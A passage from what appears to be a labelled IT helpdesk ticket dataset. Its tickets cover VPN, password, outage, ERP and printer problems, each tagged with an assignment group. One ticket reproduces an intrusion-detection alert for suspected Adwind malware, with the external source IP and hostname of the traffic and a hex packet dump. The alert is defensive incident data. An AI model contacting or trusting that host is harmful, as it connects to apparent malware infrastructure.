job_scheduler at: 09/02/2016 15:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1108 failed in job_scheduler at: 09/02/2016 15:06:00",GRP_8 +unable to connect to vpn unable to connect to vpn,GRP_0 +"network outage: , malaysia - (company) network is down since 2:16pm et on 09/02/16 what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________2:16pm et on 09/02/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____no_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"cannot log into skype or vpn name:qjeymnzs wgpelvyn +language: +browser:microsoft internet explorer +email:qjeymnzs.wgpelvyn@gmail.com +customer number: +telephone: +summary:i cannot log into skype or vpn. this happens every time i change my password. i will need someone to log into my computer and fix some certificates or whatever to make it work again.",GRP_0 +"light indicator from: cwuospin nbhoxqpe +sent: friday, september 02, 2016 11:48 pm +to: ouaepwnr pqnteriv; -facility; nwfodmhc exurcwkm +subject: amar re: light indicator + +help desk, + +please see the request below + +sincerely, + +stanfghyley guhtykes, fmp +facilities manager, world headquarters +cwuospin.nbhoxqpe@gmail.com +",GRP_37 +outlook not connecting to microsoft exchange outlook not connecting to microsoft exchange,GRP_0 +"vrtx at south_amerirtca with light blinking vrtx at south_amerirtca is showing orange light blinking at front panel._x000D_ +please see attached file.",GRP_12 +"reference: inplant_851936 while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist'. when i try to look at a configuration for a rqfhiong zkwfqagb, i get an error - while trying to invoke the method java.util.list.iterator() of a null object loaded from a local variable 'locallist' + +phone; ",GRP_14 +erp logon balancing error erp logon balancing error,GRP_0 +"newly created emails are not getting sent, they are all going into the outbox. newly created emails are not getting sent, they are all going into the outbox.",GRP_3 +"erp rounding off the total of an order we have quotes 3116232719, 3116233894 and 3116234383, that gives me the correct unit price but the total of the entire quote is rounding off. can this be fixed? customers will deny payment if the total doesn't match what the unit price is. ",GRP_13 +product selector not working this appears to be an issue with all environments.,GRP_51 +unable to make incoming and outgoing calls from the company phone unable to make incoming and outgoing calls from the company phone ,GRP_0 +cyber security - phish uacyltoe hxgaycze report september 2016 cyber security - phish uacyltoe hxgaycze report september 2016,GRP_2 +unable to connect to companysecure unable to connect to companysecure,GRP_0 +"unable to connect to network in usa, michigan unable to connect to network in usa, michigan",GRP_0 +mapping printers mapping printers ,GRP_0 +india company: tcl circuit packet drops since at 10:30 am est on 09/02. site is active on primary. packet drops in the internet link .tcl#3060oc020916,GRP_4 +"ft. mill cec outlook connectivity the majority of csrs in the usa cec work remote. we are currently on vpn.company.com for vpn due to the upgrade. however, our outlook is continually freezing and we have had to reboot just to get it back.",GRP_26 +"reset password + +received from: koahsriq.wdugqatr@gmail.com + +hello, +please reset password for vvterra qlhmawgi sgwipoxn (terralink for russia office) + + +с уважением, +евгения. + + +koahsriq wdugqatr, +administrative assistant. +koahsriq.wdugqatr@gmail.com + +",GRP_0 +password reset for fmeozwng pfneutkg password reset for fmeozwng pfneutkg,GRP_0 +"erp SID_34 erp production password reset name:dhkovprf pltndoab +language: +browser:microsoft internet explorer +email:dhkovprf.pltndoab@gmail.com +customer number: +telephone: +summary:locked out of erp SID_34 on too many password attempts. tried to use what i know is my password but it won't let me. may be due to SID_39 access request ticket_no0435983",GRP_0 +infopath issue infopath issue,GRP_0 +skype login issue : personal certificate error skype login issue : personal certificate error,GRP_0 +"folder access. x2215 +summary:require jftyff bgtyrant, user name brahdthyu, to be usaed access to HostName_856. + +",GRP_12 +"distributor_tool _x000D_ +_x000D_ +received from: brhlcpqv.sfozwkyx@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +could you help me on entering the distributor_tool company?_x000D_ +i'd already contacted with rakthyesh, and he helped me enter the system with the password he gave but it didn't still work. i've changed the password after he sent me an email but this problem couldn't be solved._x000D_ +have a great day._x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +joining skype meetings through iphone joining skype meetings through iphone,GRP_0 +"problems with quoting engine. refer attachment. problems with quoting engine. refer attachment. + +phone; 44 ",GRP_21 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"delegation query, owa and checking emails older than 12 months. delegation query, owa and checking emails older than 12 months.",GRP_0 +"urgent: samag lieferschein sales order #35612545 - fehler in batches + +received from: vujymcls.sgpmyviq@gmail.com + +hallo it, + +bitte dringend um hilfe, da der lkw bereits hier zur abholung der werkzeuge vor ort steht und dringend ein lieferschein erstellt werden muss! + +bitte um klärung, danke! + +[cid:image001.png@01d20529.8d8000e0] + +best ",GRP_18 +"computer name _x000D_ +_x000D_ +received from: koahsriq.wdugqatr@gmail.com_x000D_ +_x000D_ +hello all,_x000D_ +please set the pc name for new laptop windows 7._x000D_ +we're in russia office_x000D_ +",GRP_33 +email confirmation to login to hub email confirmation to login to hub,GRP_0 +"outlook profil / correction of phone number and cell phone number _x000D_ +_x000D_ +received from: byclpwmv.esafrtbh@gmail.com_x000D_ +_x000D_ +hello help team,_x000D_ +_x000D_ +how can i update below data in outlook. my phone-# and cell-phone-# isn't correct._x000D_ +_x000D_ +",GRP_0 +"security incidents - ( #in33765965 ) : possible adwind malware trojan - rqxl7406113 source ip :10.40.6.221 +system name :rqxl8517224 +user name:qxhdcnmj caflvjrn(vefghgarr) +location :usa +sep , sms status :no updates +field sales user ( yes / no) : no +dsw event log:see below +========================================================================================================================= +========================= +event data +========================= +related events: +event id: 411230755 +event summary: 52046 vid70697 adwind malware ssl certificate detected (inbound) +occurrence count: 173 +event count: 1 + +host and connection information +source ip: 191.101.151.14 +source hostname: foreach-rcp.enceinjury.net. +source port: 5000 +source ip geolocation: barcelona, esp +destination ip: 10.40.6.221 +destination hostname: rqxl8517224 +destination port: 58471 +connection directionality: incoming +protocol: tcp + +device information +device ip: 10.32.100.17 +device name: isensor03.company.com +log time: 2016-09-01 at 19:18:48 utc +action: not blocked +vendor eventid: 336126 +cvss score: -1 +vendor priority: 1 +vendor version: 7 + +scwx event processing information +sherlock rule id (sle): 928535 +inspector rule id: 277082 +inspector event id: 051975334 +ontology id: 200020003203755190 +event type id: 200020003203575398 +agent id: 102805 + +event detail: +[**] [1:21163157:1] 52046 vid70697 adwind malware ssl certificate detected (inbound) [**] +[classification: none] [priority: 1] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1] +[sensor id: 602982][event id: 336126][time: 2583868639.892461] +[src ip: 191.101.151.14][dst ip: 10.40.6.221][sport/itype: 5000][dport/icode: 58471][proto: 6] +09/01/2016-19:18:48.89246sartlgeo lhqksbdx91.101.151.14:5000 -> 10.40.6.221:58471 +tcp ttl:108 tos:0x28 id:4647 iplen:20 dgmlen:1294 df +***a**** seq: 0xef831d96 ack: 0x8da0e8db win: 0x103 tcplen: 20 +==pcap 1== + +[o:security] + +ascii packet(s): +==pcap 1 ascii s== +.......w-...........e(...'@.l.."".e...(.....g........p...........?...m..w...xos...li....d:.+ti.7u.{..f.m.w......q.3*..@\.s..o..0..4....c..'..................0...0..w........#..0...*.h........071.0...u....fr1.0...u....assylias.inc1.0...u....assylias0...150118163720z..21141235163720z071.0...u....fr1.0...u....assylias.inc1.0...u....assylias0...0...*.h.............0............v.4.........,.n.......3..c@.....w........z.%..^...u*8.|..#.p......!.8.....c....(.@.e.....b...06......q...p.{...\.tltz....,p.....~o...no.d.zw...^.x<.b-..wh'......6...i...u1..:.)g...6t..b...gb...{.../.p...ac.........s.\.l.*......=.r).._......p.h.........p?..y...d....=z.#4~7...v.l.o.........6...{fn!...)r..p..{..e.....`.g+.....q....i.f...p..o...m....k.&_.....m.,.&e.....y...j!.m......u..q.................,..z+.w........a.!.........._...lcbq.g..f............j..h.""....%...n8.kd.l.i&.r......g.@......|.@..,...wd..!+e.....u]..@y.. +==pcap 1 ascii e== + +hex packet(s): +==pcap 1 hex s== +000000 0c00 0000 187f c857 2d9e 0d00 0e05 0000 .......w-....... +000010 0e05 0000 4528 050e 1227 4000 6c06 9022 ....e(...'@.l.."" +000020 bf65 970e 0a28 06dd 1388 e467 ef83 1d96 .e...(.....g.... +000030 8da0 e8db 5010 0103 0c0c 0000 1603 0306 ....p........... +000040 3f02 0000 4d03 0357 c87f 1258 6f53 9c89 ?...m..w...xos.. +000050 876c 69d6 beb5 c164 3ae0 2b74 6916 3755 .li....d:.+ti.7u +000060 0d7b e5ef 6698 6d20 57c8 7f12 d17f f371 .{..f.m.w......q +000070 f233 2a10 bf40 5cc6 73d1 b56f 9b8a 301d .3*..@\.s..o..0. +000080 1f34 1c1c e397 6391 c027 0000 05ff 0100 .4....c..'...... +000090 0100 0b00 0419 0004 1600 0413 3082 040f ............0... +0000a0 3082 0277 a003 0201 0202 041f 239d bd30 0..w........#..0 +0000b0 0d06 092a 8648 86f7 0d01 010b 0500 3037 ...*.h........07 +0000c0 310b 3009 0603 5504 0613 0246 523sartlgeo lhqksbdx530 1.0...u....fr1.0 +0000d0 1306 0355 040a 130c 6173 7379 6c69 6173 ...u....assylias +0000e0 2e49 6e63 3111 300f 0603 5504 0313 0861 .inc1.0...u....a +0000f0 7373 796c 6961 7330 2017 0d31 3530 3131 ssylias0...15011 +000100 3730 3532 3631 395a 180f 3231 3134 3132 8163720z..211412 +000110 3234 3035 3236 3139 5a30 3731 0b30 0906 35163720z071.0.. +000120 0355 0406 1302 4652 3115 3013 0603 5504 .u....fr1.0...u. +000130 0a13 0c61 7373 796c 6961 732e 496e 6331 ...assylias.inc1 +000140 1130 0f06 0355 0403 1308 6173 7379 6c69 .0...u....assyli +000150 6173 3082 01a2 300d 0609 2a86 4886 f70d as0...0...*.h... +000160 0101 0105 0003 8201 8f00 3082 018a 0282 ..........0..... +000170 0181 00a5 dada b576 0334 83c6 bd9f 93cc .......v.4...... +000180 c418 0a2c e74e 1cb0 14eb 870b 9033 9dea ...,.n.......3.. +000190 6340 b2f3 19ff 2057 eaeb bda7 10fd 2e99 c@.....w........ +0001a0 5afe 259f a35e 8492 f955 2a38 f17c 928d z.%..^...u*8.|.. +0001b0 23dd 70e7 a7eb 0a82 ef21 8a38 9ea4 e7b5 #.p......!.8.... +0001c0 b763 8bbb bcb4 2889 4091 45c8 95a8 8583 .c....(.@.e..... +0001d0 4299 b3f0 3036 1d17 de9f c4a2 51dc aa05 b...06......q... +0001e0 501c 7bef aa1e 5c14 546c 745a b4f0 e7b9 p.{...\.tltz.... +0001f0 2c50 b518 abca c97e 4f93 d47f 4e6f 7f44 ,p.....~o...no.d +000200 e97a 77c8 8817 5ed8 783c cf42 2def f677 .zw...^.x<.b-..w +000210 6827 11cf 1309 f5b1 3686 b8b4 6920 ca93 h'......6...i... +000220 7531 d9ef 3aeb 2947 9310 9636 54f4 d562 u1..:.)g...6t..b +000230 fa14 9f47 42e4 d7aa 7b04 a19c 2fe3 500a ...gb...{.../.p. +000240 b1d9 6143 e80f 17ed deab 909e 9a73 965c ..ac.........s.\ +000250 0c6c ad2a 9df4 8497 14b7 3dca 5229 acc1 .l.*......=.r).. +000260 5f02 b59b e51c ef50 9f48 95b9 9cfe ae93 _......p.h...... +000270 cfef 0c70 3f81 8f59 8cec 0344 8803 9fb8 ...p?..y...d.... +000280 3d7a db23 347e 373c 6379 3b02 867d 0b5b =z.#4~7...v.l.o.... +000430 cd13 d60a ef36 19cf bf7b 464e 211e 0ba3 .....6...{fn!... +000440 2972 9bb2 7016 207b 04b3 65fd 9e8e 0c18 )r..p..{..e..... +000450 6000 672b f5b8 86be c651 ede9 SID_290 49c2 `.g+.....q....i. +000460 66aa 81bd 50e6 c96f f090 906d b59e 9f98 f...p..o...m.... +000470 6b16 265f cf88 99e2 bc4d 862c e826 458d k.&_.....m.,.&e. +000480 a89f 87a0 79c3 91bb 6a21 894d 8fb7 f084 ....y...j!.m.... +000490 a5b7 75ba 0a51 b0c0 1fb0 e49f 9117 8dca ..u..q.......... +0004a0 14ac bfda 04c9 d52c e301 5a2b 8f57 ad0c .......,..z+.w.. +0004b0 0001 c903 0017 4104 21d8 02b7 9198 e496 ......a.!....... +0004c0 a5a8 185f eb1a a86c 6342 51ca 67c4 a646 ..._...lcbq.g..f +0004d0 a0bc a8d0 ddb4 c51b 93df e501 4af2 0c48 ............j..h +0004e0 e522 eba8 d89c 25a2 d70c 4e38 cf6b 44eb .""....%...n8.kd. +0004f0 4c90 4926 8352 d1ba 0601 0180 67a4 40cd l.i&.r......g.@. +000500 878b d8f6 c37c d940 ad8c 2ce7 80f5 7764 .....|.@..,...wd +000510 f416 212b 4500 9af4 b5a9 755d f782 4059 ..!+e.....u]..@y +000520 2edb .. +==pcap 1 hex e==",GRP_2 +password change password change ,GRP_0 +"personal device set-up procedure _x000D_ +_x000D_ +received from: uiotbkhs.grymzxiq@gmail.com_x000D_ +_x000D_ +team,_x000D_ +_x000D_ +please send me a link to the information on how i can set up a personal tablet to receive company email through exchange server._x000D_ +_x000D_ +i have the i.t. ticket completed but i understand i need to set up the tablet before i submit._x000D_ +_x000D_ +best ",GRP_0 +"1192185 is in stock at plant_249 after finishing production at plant_248. why isn't there a delivery created to ship this item. 1192185 is in stock at plant_249 after finishing production at plant_248. why isn't there a delivery created to ship this item to fill customer backorder? there was previously an issue with the system automatically processing shipments as it should._x000D_ +_x000D_ +",GRP_6 +"cannot connect to eu vpn from home. need to use it from 8am-2pm while na vpn is down when clicking ""company_vpn"" on the vpn.company website, the new window opens to show network access. after attempting to connect i get error "" a connection to the remote computer could not be established, so the port used for this connection was closed""",GRP_0 +wifi not working wifi not working ,GRP_0 +"erp access + +received from: qdtywmkv.aolijwnx@gmail.com + +i have been given the ""to many failed attempts"" for logging into erp + +have recently changed password checked that it was unlocked in password_management_tool and when i tried new one twice without working i tried my old password. + +then after not opening came the message of to many failed attempts i need access to erp. + +michghytuael t. hardman +maintenance supervisor +qdtywmkv.aolijwnx@gmail.com +",GRP_0 +password reset alert from o365 for user • michghytuael.white@company.com password reset alert from o365 for user • michghytuael.white@company.com ,GRP_0 +ooo till friday . crm web access. unable to load page. crm web access. unable to load page.,GRP_0 +skype audio not working skype audio not working,GRP_0 +password reset request from o365 password reset request from o365 ,GRP_0 +mobile device activation request mobile device activation request ,GRP_0 +not able to login to vpn : account locked out not able to login to vpn : account locked out ,GRP_0 +ad account locked out ad account locked out ,GRP_0 +"printer not working, pc in qa office in germany not getting connected to internet. printer not working, pc in qa office in germany not getting connected to internet._x000D_ +_x000D_ +pc name : _x000D_ +olympus-SID_32073 _x000D_ +_x000D_ +contact name : 150, 139_x000D_ +",GRP_42 +"enterprise search connector for… is not working!! _x000D_ +_x000D_ +received from: ucphibmr.dfvkbtsj@gmail.com_x000D_ +_x000D_ +enterprise search connector for… is not working!!_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d2050b.fa380480]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_11 +"company distributor_tool _x000D_ +_x000D_ +received from: pnabslgh.vatpgsxn@gmail.com_x000D_ +_x000D_ +hi my name is pnabslgh vatpgsxn._x000D_ +pls help me to use company distributor_tool_x000D_ +_x000D_ +_x000D_ +本通信は記載された人物のみを対象として使用されるものとし、特権的かつ機密情報を含み、適用される法律に基づいた情報開示から除外されるものとします。正当な受取人以外のいかなる第三者による本通信の配布、流通、再販は固く禁じられています。また本通信が誤って送信された場合は、送信者に連絡の上、本通信を削除してください。_x000D_ +[#+company/posts> [_x000D_ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +an prüfen \ we_wu113 \ essa presse \ box blinkt dauerhaft \wrcktgbd wzrgyunp an prüfen \ we_wu113 \ essa presse \ box blinkt dauerhaft \wrcktgbd wzrgyunp,GRP_24 +setup rechnerf für infostand instandsetzung \niptbwdq csenjruz setup rechnerf für infostand instandsetzung \niptbwdq csenjruz,GRP_24 +problem mit bildschirmschoner an den sinic-stationen \jionmpsf wnkpzcmv problem mit bildschirmschoner an den sinic-stationen \jionmpsf wnkpzcmv,GRP_24 +externe festplatte zu verfügung stellen \alte nobook festplatte \edspmloy fxnkzaqu externe festplatte zu verfügung stellen \alte nobook festplatte \edspmloy fxnkzaqu,GRP_24 +probleme mit portal \ghaltiek lsuepvyx probleme mit portal \ghaltiek lsuepvyx,GRP_24 +"circuit outage:usa plant,na company-na-usa-usa-plant-static-vpn-4331-rtr02 went down at 04:22 am et on 09/02. what type of outage: ____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? __slo site_______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______04:22 am et on 09/02.________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __primary is active______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___na________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __na_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +interface: fastethernet0/27 vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03 is down. interface: fastethernet0/27 · vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down ,GRP_4 +i get warehouse_toolmails meant for efbwiadp dicafxhv please check why warehouse_toolmails for efbwiadp dicafxhv are getting emailed to me. trurthyuft has not received any of the emails. please check attachments.,GRP_7 +"password_management_tool password manager login issue +76 +summary: +i tried use password_management_tool manager to change password + +when i enter new paasword it prompts me no activex + +when i click install it give me error",GRP_0 +configure shared mailbox need to add two mailboxes to outlook (still working with outlook 2010) .companyfoundation@kcompany.com and .relations@company.com but doesn't work.,GRP_0 +"skype add in is not showing up in outlook. skype add in is not showing up in outlook. _x000D_ +also when manually activated.",GRP_0 +mobile device activation ; company provided. mobile device activation ; company provided.,GRP_0 +f drive on rqxsm004 is over 85% space consumed. space available: 3.9 gb volume: f:\ label:dat2-rqxsm004 dc86ed35 on server: rqxsm004 is over 85% space consumed. space available: 3.9 gb,GRP_12 +ethernet ethernet not working. only wi-fi.,GRP_0 +"答复: 35969737/2032252 _x000D_ +_x000D_ +received from: wqzarvhx.hfsojckw@gmail.com_x000D_ +_x000D_ +hi, help_x000D_ +_x000D_ +pls check item 20, net value in condition table is 17rmb. but shows 34rmb on the view of item overview, pls correct, ",GRP_13 +outlook not responding outlook not responding ,GRP_0 +"adoption score card is not visible in crm dynamics : insufficient permission to access 962 +summary:adoption score card is not visible in crm dynamics + +user is trying to access crm adoption card for first time.",GRP_22 +"SID_1 is not working. SID_1 is not working. _x000D_ +error : no connection to server.",GRP_14 +"na remote is not working [‎9/‎2/‎2016 12:06 pm] mhfjudahdyue rfgrhtdy: +hi manjgtiry +[‎9/‎2/‎2016 12:06 pm] dwfiykeo argtxmvcumar3: +hello +[‎9/‎2/‎2016 12:06 pm] mhfjudahdyue rfgrhtdy: +na remote is not working +can you verify +eu remote is working +[‎9/‎2/‎2016 12:07 pm] dwfiykeo argtxmvcumar3: +ok +let me check +[‎9/‎2/‎2016 12:09 pm] mhfjudahdyue rfgrhtdy: +ok +[‎9/‎2/‎2016 12:10 pm] dwfiykeo argtxmvcumar3: +are you getting some error ? +[‎9/‎2/‎2016 12:10 pm] mhfjudahdyue rfgrhtdy: +not able to connect vpn +[‎9/‎2/‎2016 12:11 pm] dwfiykeo argtxmvcumar3: +ok +let me create a ticket +[‎9/‎2/‎2016 12:13 pm] dwfiykeo argtxmvcumar3: + +can you try if it is working ? +[‎9/‎2/‎2016 12:13 pm] mhfjudahdyue rfgrhtdy: +eu is working +i am on eu now +[‎9/‎2/‎2016 12:13 pm] dwfiykeo argtxmvcumar3: +ok +this is new asia vpn remote +if you have time just try it +[‎9/‎2/‎2016 12:15 pm] mhfjudahdyue rfgrhtdy: +sure +[‎9/‎2/‎2016 12:16 pm] dwfiykeo argtxmvcumar3: +",GRP_2 +sto 5019179518 is for 2 pcs of material 6316883. delivery 9169190868 created for 1 pc. debbie smhdyhti gets an error message ,GRP_29 +display an festtelefon der nummer 311 im cvd anlagenbereich defekt. telefon bitte erneuern. display an festtelefon der nummer 311 im cvd anlagenbereich defekt. telefon bitte erneuern.,GRP_42 +"could find old email from year 2012 in microsoft outlook _x000D_ +_x000D_ +received from: wsimcqzt.xvwzbdhq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +only till february 2015 ?_x000D_ +_x000D_ +[cid:image001.png@01d204f3.6ecda2a0]_x000D_ +_x000D_ +mit freundlichen grugermany / with best ",GRP_0 +mobile device activation successfully done. mobile device activation successfully done.,GRP_0 +"request for stop/ delete the dtp job in SID_37 hi team basis,_x000D_ +_x000D_ +please stop/ delete the job bidengineering_tool_2619536_1 in SID_37 system._x000D_ +_x000D_ +the job was triggered to uacyltoe hxgaycze the value of one of the complaint cube transaction in bw system. as the result is found, hence please stop the respective job._x000D_ +_x000D_ +email is sent to team._x000D_ +_x000D_ +best ",GRP_14 +"not able to connect to outlook - getting security alert about security certificate _x000D_ +not able to connect to out look- please see the screen shot and do needful.",GRP_34 +"sd_sales_order* jobs abended in job_scheduler due to ""logon of user coferte in client 120 failed when starting a step"" sd_sales_order* jobs abended in job_scheduler due to ""logon of user coferte in client 120 failed when starting a step""",GRP_5 +"access to run-books (dot net and plm solutioning) hi, + +kindly usa pagthyuathy afghtyjith , userid ""vvdfgtyuji"" access to run-books(dot net and plm solutioning). + +",GRP_16 +"stock issue for mm 1113198 hello christgrytoph_x000D_ +_x000D_ +this kind situation came up again, i'm wondering, is it a good way to run the dn? _x000D_ +please see the screen below, ",GRP_29 +"material issue now, the quantity changed to 3pcs, seems not solved yet. + + +rofgtyger liugh + +from: judthti zhu +sent: friday, august 26, 2016 2:48 pm +to: nwfodmhc exurcwkm +cc: rofgtyger liugh +subject: material issue + +dear team， +we once shipped a subcontract order on jul 21th, +po#5616690206 +rough material#2224208*10pcs +movement type:541 +but its corresponding end product mm#6004236 still exists in erp,pls. help to check the root cause,thx! + + + + +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + +",GRP_29 +"request in behalf of jvxtfhkg heptuizn _x000D_ +_x000D_ +received from: ecwtrjnq.jpecxuty@gmail.com_x000D_ +_x000D_ +hello collegues,_x000D_ +_x000D_ +jvxtfhkg heptuizns iphone calendar is only synchronizing in one direction._x000D_ +_x000D_ +if he does a calendar entry in his outlook on the computer, it synchs tot he iphone calendar,_x000D_ +if he enters one on the iphone, it is not synchronized to the outlook._x000D_ +_x000D_ +would you please be so kind and help us regarding this issue._x000D_ +_x000D_ +many ",GRP_0 +"pagthyuathy afghtyjith - access to dot kt folders (\\HostName_29) hi,_x000D_ +_x000D_ +kindly usa access to pagthyuathy afghtyjith our new intern of dot net team._x000D_ +her userid is ""vvdfgtyuji""._x000D_ +_x000D_ +",GRP_12 +"job SID_30hotf failed in job_scheduler at: 09/02/2016 00:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_30hotf failed in job_scheduler at: 09/02/2016 00:51:00",GRP_8 +reset passwords for qycgdfhz iqshzdru using password_management_tool password reset. the,GRP_17 +"access for tablearu-top customers _x000D_ +_x000D_ +received from: ufesrwmz.egujslwx@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +to prepare for monthly inf mbr report, i need access to run top customer &end markhtyets in reporting_tool, it will be put in month inf mbr report. it is quite urgent now._x000D_ +#/site/certified_content/views/mbrreporting_engineering_tool/topcustomersendmarkhtyets?:iid=1<_x000D_ +_x000D_ +",GRP_9 +"configure e6430 unit for standard login for product videos display _x000D_ +_x000D_ +received from: kbclinop.vsczklfp@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +for your information and reference only. i have requested help from it to set up a standard login for a spare laptop for company product videos to be display on tv – at our office main entrance._x000D_ +configuration completed by sridhar._x000D_ +_x000D_ +",GRP_19 +"printer problem / issue information please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) prtor00u on HostName_1224 - prtor003 on HostName_1224 - prtor0040 on HostName_1224 _x000D_ + _x000D_ + • detailed description of the problem ? will not print because drviers need updated - i updated the drivers but it states error processing _x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) all_x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls) outlook_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? no_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +account locked. account locked.,GRP_0 +"job SID_38hotf failed in job_scheduler at: 09/01/2016 22:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_38hotf failed in job_scheduler at: 09/01/2016 22:20:00",GRP_8 +"job SID_38hotf failed in job_scheduler at: 09/01/2016 22:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_38hotf failed in job_scheduler at: 09/01/2016 22:20:00",GRP_8 +ie 浏览器主页被更改为酒店网站地址。 ie 浏览器主页被更改为酒店网站地址。,GRP_31 +"recall: ticket_no1547270 - i need to request access to co02 - change production order in cgo1 and plant_118. _x000D_ +_x000D_ +received from: riqmdnzs.mtlghwex@gmail.com_x000D_ +_x000D_ +riqmdnzs mtlghwex would like to recall the message, "" ticket_no1547270 - i need to request access to co02 - change production order in cgo1 and plant_118.""._x000D_ +_x000D_ +_x000D_ +",GRP_2 +"電腦出現藍屏,無法開機 連vpn時,無法連上後,重試後,突然出現藍屏,無法開機",GRP_31 +"spam -----original message-----_x000D_ +from: nwfodmhc exurcwkm _x000D_ +sent: friday, september 02, 2016 7:30 am_x000D_ +to: umzcxfah aoshpjiu_x000D_ +subject: re: new warehouse_toolmail from (806) 290-5218 at 7:35 am_x000D_ +_x000D_ +hi marry,_x000D_ +_x000D_ +it looks like a spam mail. you can go ahead and delete it._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"no access to impact award hub the users do not have accees to impact award hub: parfgtkym, leegtysm",GRP_0 +"job Job_2063d failed in job_scheduler at: 09/01/2016 18:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063d failed in job_scheduler at: 09/01/2016 18:24:00",GRP_6 +"llvw8411311 shop floor / print station noise coming from cpu that sounds like a cooling fan or a hard drive going bad. machine located by the ultra's and wendt. +contact # 615 ",GRP_3 +"rebate agreements 92 will not create partial settlement rebate agreements 92 will not create a partial settlement with transaction vb(7 _x000D_ +_x000D_ +i have confirmed with agreement 92 specifically that there were sales during the month of august. other agreements are working to create the credit without fail. please advise what could be the cause and steps to correct. please also note this same process worked to generate the july documents .",GRP_13 +"doing engineering_tool advance search materials out of the group i select come up in results i picked titanium tial 6 4v but then p5 materials come up in results along with titanium, and s3 materials. i also had the kcu40 grade in the grade field, as i was doing a search for drilling",GRP_25 +"all my files in collaboration_platform have dierppeared! ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +rakthyesh ramdntythanjesh + hi craigfgh +arjpdohf mrqwdtil + hi +rakthyesh ramdntythanjesh + ",GRP_16 +"re: sql quote - company internal project (agathon machines) _x000D_ +_x000D_ +received from: xzwlnbfo.plstfydx@gmail.com_x000D_ +_x000D_ +hi...can i get an update on this?_x000D_ +_x000D_ +",GRP_53 +"when trying to refresh a report, i am getting a pop up that says hana odbc driver not found. when trying to refresh a report, i am getting a pop up that says hana odbc driver not found.",GRP_0 +"circuit outage: secondary node down on company-na-usa-usa-dmvpn-1921-rtr01.company.com since at 3:04 pm et on 09/01 s what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____3:04 pm et on 09/01__________________x000D_ +_x000D_ +3. scheduled 